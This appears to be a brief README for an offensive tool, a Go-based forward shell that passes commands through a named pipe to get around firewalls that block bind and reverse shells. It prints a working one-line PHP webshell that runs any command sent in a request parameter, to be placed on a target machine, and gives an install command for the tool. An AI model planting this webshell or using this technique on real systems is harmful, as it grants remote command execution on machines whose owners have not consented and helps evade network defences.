This creates a shell that accepts commands via a named pipe and outputs to another file.
This can help in situations where bind shells or reverse shells are blocked by firewalls.
A PHP webshell like the following can be placed on the box:
<?=`$_REQUEST[0]`?>
Installation
Make sure GOPATH is properly configured. Not sure? Read this.
go install github.com/7047payloads/go-forward-shell@latest